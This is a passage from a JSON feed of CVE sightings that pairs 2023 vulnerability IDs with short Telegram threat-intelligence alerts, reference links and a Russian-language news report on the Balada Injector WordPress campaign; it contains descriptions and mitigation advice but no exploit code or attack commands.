"CVE-2023-3142", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/245", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-3142\n\ud83d\udd39 Description: Cross-site Scripting (XSS) - Stored in GitHub repository microweber/microweber prior to 2.0.\n\ud83d\udccf Published: 2023-06-07T00:00:00\n\ud83d\udccf Modified: 2025-01-06T21:10:08.975Z\n\ud83d\udd17 References:\n1. https://huntr.dev/bounties/d00686b0-f89a-4e14-98d7-b8dd3f92a6e5\n2. https://github.com/microweber/microweber/commit/42efa981a2239d042d910069952d6276497bdcf1", "creation_timestamp": "2025-01-06T21:37:12.000000Z"}, {"uuid": "9e9a2b41-16a4-44ed-a563-adb5493971a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3169", "type": "exploited", "source": "https://t.me/itsec_news/3432", "content": "\u200b\u26a1\ufe0fBalada Injector \u0437\u0430\u0440\u0430\u0437\u0438\u043b \u0442\u044b\u0441\u044f\u0447\u0438 WordPress-\u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 tagDiv Composer.\n\n\ud83d\udcac \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 Balada Injector \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044e \u0431\u043e\u043b\u0435\u0435 17 000 \u0441\u0430\u0439\u0442\u043e\u0432 \u043d\u0430 WordPress, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043b\u0430\u0442\u043d\u044b\u0445 \u043f\u043b\u0430\u0433\u0438\u043d\u0430\u0445 \u0441 \u0442\u0435\u043c\u0430\u043c\u0438 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u044f.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 , \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438 Dr. Web \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430, \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u043e \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043d\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 WordPress \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e Linux-\u0431\u044d\u043a\u0434\u043e\u0440\u0430. \u0417\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u044b\u0435 \u0441\u0430\u0439\u0442\u044b \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0438 \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u0435\u043b\u0435\u0439 \u043d\u0430 \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438, \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043b\u043e\u0442\u0435\u0440\u0435\u0438 \u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u043e \u0432\u044b\u0438\u0433\u0440\u044b\u0448\u0435.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Sucuri \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2023 \u0433\u043e\u0434\u0430, \u0447\u0442\u043e Balada Injector \u0430\u043a\u0442\u0438\u0432\u0435\u043d \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 2017 \u0433\u043e\u0434\u0430, \u0430 \u043e\u0431\u0449\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u043e\u0432 \u0437\u0430 \u0432\u0441\u0451 \u0432\u0440\u0435\u043c\u044f \u0443\u0436\u0435 \u0434\u0430\u0432\u043d\u043e \u043f\u0440\u0435\u0432\u044b\u0441\u0438\u043b\u043e \u043c\u0438\u043b\u043b\u0438\u043e\u043d .\n\n\u0412 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS) \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c CVE-2023-3169 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 tagDiv Composer, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u043e\u043c \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0442\u0435\u043c \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u044f Newspaper \u0438 Newsmag. \u0417\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f, \u0432\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0430 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 EnvatoMarket, \u0443 Newspaper \u043e\u043a\u043e\u043b\u043e 137 000 \u043f\u0440\u043e\u0434\u0430\u0436, \u0430 \u0443 Newsmag \u0431\u043e\u043b\u0435\u0435 18 500 , \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043e\u0431\u0449\u0430\u044f \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 155 500 \u0441\u0430\u0439\u0442\u043e\u0432, \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u044f \u043f\u0438\u0440\u0430\u0442\u0441\u043a\u0438\u0445 \u043a\u043e\u043f\u0438\u0439. \u042d\u0442\u0438 \u043f\u0440\u0435\u043c\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u043c\u044b \u0447\u0430\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043f\u0440\u043e\u0446\u0432\u0435\u0442\u0430\u044e\u0449\u0438\u043c\u0438 \u043e\u043d\u043b\u0430\u0439\u043d-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u043c\u0438, \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0449\u0438\u043c\u0438 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0442\u0440\u0430\u0444\u0438\u043a.\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044c tagDiv \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b , \u0447\u0442\u043e \u043e\u043d\u0438 \u0437\u043d\u0430\u044e\u0442 \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435: \u00ab\u041c\u044b \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b \u043e \u0442\u0430\u043a\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044c \u0441\u0430\u0439\u0442\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0441\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0442\u0435\u043c\u00bb. \u041e\u043d \u0442\u0430\u043a\u0436\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b Newspaper \u0438\u043b\u0438 Newsmag, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, Wordfence.\n\nSucuri \u0432 \u0441\u0432\u0435\u0436\u0435\u043c \u043e\u0442\u0447\u0451\u0442\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 , \u0447\u0442\u043e \u0437\u0430 \u043e\u0434\u0438\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u0446\u0438\u0439 Balada Injector \u0431\u044b\u043b\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0431\u043e\u043b\u0435\u0435 17 \u0442\u044b\u0441\u044f\u0447 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432, \u0431\u043e\u043b\u0435\u0435 9000 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e CVE-2023-3169. \u0425\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u043c \u0435\u0451 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u0432\u043d\u0435\u0434\u0440\u0451\u043d\u043d\u044b\u0439 \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0435 \u0442\u0435\u0433\u0438 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u0430.\n\nSucuri \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 6 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u043a\u0430\u0436\u0434\u0430\u044f \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u043c\u0435\u043b\u0430 \u0441\u0432\u043e\u0438 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0445\u0430\u043a\u0435\u0440\u044b \u0432\u043d\u0435\u0434\u0440\u044f\u043b\u0438 \u0431\u044d\u043a\u0434\u043e\u0440 \u043f\u0440\u044f\u043c\u043e \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 404.php, \u0441\u0438\u0433\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0443\u044e \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u0441\u0443\u0440\u0441 \u0441\u0430\u0439\u0442\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d.\n\n\u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 Balada Injector \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d tagDiv Composer \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 4.2, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u0432\u044b\u0448\u0435\u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439. \u0422\u0430\u043a\u0436\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0432\u0441\u0435 \u0442\u0435\u043c\u044b \u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u044b, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043d\u0435\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0441\u0430\u0439\u0442\u0430 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-10-10T11:36:55.000000Z"}, {"uuid": "b9be73c5-ac67-4607-a5dc-f314133c9799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3147", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/252", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-3147\n\ud83d\udd39 Description: A vulnerability has been found in SourceCodester Online Discussion Forum Site 1.0 and classified as critical. This vulnerability affects unknown code of the file admin\\categories\\view_category.php. The manipulation of the argument id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-231016.\n\ud83d\udccf Published: 2023-06-07T16:00:03.375Z\n\ud83d\udccf Modified: 2025-01-06T21:02:55.371Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.231016\n2. https://vuldb.com/?ctiid.231016\n3. https://github.com/Peanut886/Vulnerability/blob/main/webray.com.cn/Online%20Discussion%20Forum%20Site%20-%20multiple%20vulnerabilities.md#7sql-injection-vulnerability-in-admincategoriesview_categoryphp", "creation_timestamp": "2025-01-06T21:38:09.000000Z"}, {"uuid": "43eba19c-0950-403d-b719-d0dde4c197a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31554", "type": "seen", "source": "https://t.me/codeby_sec/7523", "content": "\u200b\u0421\u0440\u0435\u0434\u0438 \u0443\u0431\u043b\u044e\u0434\u043a\u043e\u0432 \u0448\u0435\u043b \u0430\u0440\u0442\u0438\u0441\u0442. PoC CVE-2023-2663 \n\n\u041a\u0443, \u043a\u0438\u0431\u0435\u0440\u0440\u0435\u043a\u0440\u0443\u0442\u044b. \u0414\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-31554, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u0432 xpdf v4.04 . \u0422\u043e\u0436\u0435 \u043d\u0435\u043f\u043b\u043e\u0445\u0430\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430 \u0432 \u041f\u044b\u0412\u041d\u0435 - \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u043f\u0440\u043e\u043a\u0430\u0447\u043a\u0438 \u0441\u043a\u0438\u043b\u043b\u043e\u0432 \u0432 \u0444\u0430\u0437\u0437\u0438\u043d\u0433\u0435. \u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.  \u0414\u043b\u044f \u043d\u0430\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0444\u0430\u0437\u0437\u0438\u0442\u044c \u044d\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0443\u0434\u0435\u043b\u044e \u0444\u0430\u0437\u0437\u0438\u043d\u0433\u0443.\n\n\ud83d\udccc \u0427\u0438\u0442\u0430\u0442\u044c \u0434\u0430\u043b\u0435\u0435\n\n#asm #reverse #pwn", "creation_timestamp": "2023-07-06T17:17:14.000000Z"}, {"uuid": "473daeef-5443-4dfa-818a-ddbdc6971e2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31225", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1973", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31225\n\ud83d\udd39 Description: The Gallery app has the risk of hijacking attacks. Successful exploitation of this vulnerability may cause download failures and affect product availability.\n\ud83d\udccf Published: 2023-05-26T00:00:00\n\ud83d\udccf Modified: 2025-01-16T16:16:31.668Z\n\ud83d\udd17 References:\n1. https://consumer.huawei.com/en/support/bulletin/2023/5/", "creation_timestamp": "2025-01-16T16:55:32.000000Z"}, {"uuid": "f7adfbf7-5a3f-4688-849a-b10d6dec7f8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31200", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/258", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31200\n\ud83d\udd39 Description: \n\n\n\n\nPTC Vuforia Studio does not require a token; this could allow an \nattacker with local access to perform a cross-site request forgery \nattack or a replay attack.\n\n\n\ud83d\udccf Published: 2023-06-07T21:52:29.300Z\n\ud83d\udccf Modified: 2025-01-06T20:57:59.055Z\n\ud83d\udd17 References:\n1. https://https://www.cisa.gov/news-events/ics-advisories/icsa-23-131-13", "creation_timestamp": "2025-01-06T21:38:49.000000Z"}, {"uuid": "4224f576-39c0-4e05-818a-3aab7aa77c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31124", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2007", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31124\n\ud83d\udd39 Description: c-ares is an asynchronous resolver library. When cross-compiling c-ares and using the autotools build system, CARES_RANDOM_FILE will not be set, as seen when cross compiling aarch64 android.  This will downgrade to using rand() as a fallback which could allow an attacker to take advantage of the lack of entropy by not using a CSPRNG. This issue was patched in version 1.19.1.\n\n\ud83d\udccf Published: 2023-05-25T21:09:31.881Z\n\ud83d\udccf Modified: 2025-01-16T18:36:25.449Z\n\ud83d\udd17 References:\n1. https://github.com/c-ares/c-ares/security/advisories/GHSA-54xr-f67r-4pc4\n2. https://github.com/c-ares/c-ares/releases/tag/cares-1_19_1\n3. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/B5Z5XFNXTNPTCBBVXFDNZQVLLIE6VRBY/\n4. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UBFWILTA33LOSV23P44FGTQQIDRJHIY7/\n5. https://security.gentoo.org/glsa/202310-09", "creation_timestamp": "2025-01-16T18:56:18.000000Z"}, {"uuid": "42ef970c-6a4f-4800-9362-41cb70005439", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31569", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/731", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31569\n\ud83d\udd39 Description: TOTOLINK X5000R V9.1.0cu.2350_B20230313 was discovered to contain a command injection via the setWanCfg function.\n\ud83d\udccf Published: 2023-06-06T00:00:00\n\ud83d\udccf Modified: 2025-01-08T15:43:10.669Z\n\ud83d\udd17 References:\n1. http://totolink.com\n2. https://github.com/JeeseenSec/Report/tree/main/TOTOLINK%2CThanks\n3. https://www.totolink.net/home/menu/newstpl/menu_newstpl/products/id/218.html\n4. https://github.com/JeeseenSec/Report/tree/main/TOTOLINK/CVE-2023-31569", "creation_timestamp": "2025-01-08T16:21:59.000000Z"}, {"uuid": "218fc1db-f13f-4a3e-be13-21c63743d18c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31621", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2903", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31621\n\ud83d\udd39 Description: An issue in the kc_var_col component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-24T14:57:46.813Z\n\ud83d\udd17 References:\n1. https://github.com/openlink/virtuoso-opensource/issues/1130", "creation_timestamp": "2025-01-24T15:04:42.000000Z"}, {"uuid": "8aac7573-0a4b-4101-875f-1547d5a89651", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31860", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2151", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31860\n\ud83d\udd39 Description: Wuzhi CMS v3.1.2 has a storage type XSS vulnerability in the backend of the Five Finger CMS b2b system.\n\ud83d\udccf Published: 2023-05-23T00:00:00\n\ud83d\udccf Modified: 2025-01-17T16:45:33.887Z\n\ud83d\udd17 References:\n1. https://github.com/wuzhicms/b2b/issues/3", "creation_timestamp": "2025-01-17T16:56:49.000000Z"}, {"uuid": "c1e46c13-9065-452b-8824-4ee4289227e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31184", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1371", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31184\n\ud83d\udd39 Description: ROZCOM client CWE-798: Use of Hard-coded Credentials\n\ud83d\udccf Published: 2023-05-30T00:00:00\n\ud83d\udccf Modified: 2025-01-13T19:53:19.153Z\n\ud83d\udd17 References:\n1. https://www.gov.il/en/Departments/faq/cve_advisories", "creation_timestamp": "2025-01-13T20:07:16.000000Z"}, {"uuid": "15089435-295c-4087-a98d-4c2d4591ce7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31996", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2155", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31996\n\ud83d\udd39 Description: Hanwha IP Camera ANE-L7012R 1.41.01 is vulnerable to Command Injection due to improper sanitization of special characters for the NAS storage test function.\n\ud83d\udccf Published: 2023-05-23T00:00:00\n\ud83d\udccf Modified: 2025-01-17T16:33:53.956Z\n\ud83d\udd17 References:\n1. https://www.hanwhavision.com/wp-content/uploads/2023/04/Camera-Vulnerability-Report.pdf\n2. https://hanwhavisionamerica.com/download/50042/", "creation_timestamp": "2025-01-17T16:56:56.000000Z"}, {"uuid": "228ac8bd-3020-487b-ac83-cd3ad37e848b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31995", "type": "seen", "source": 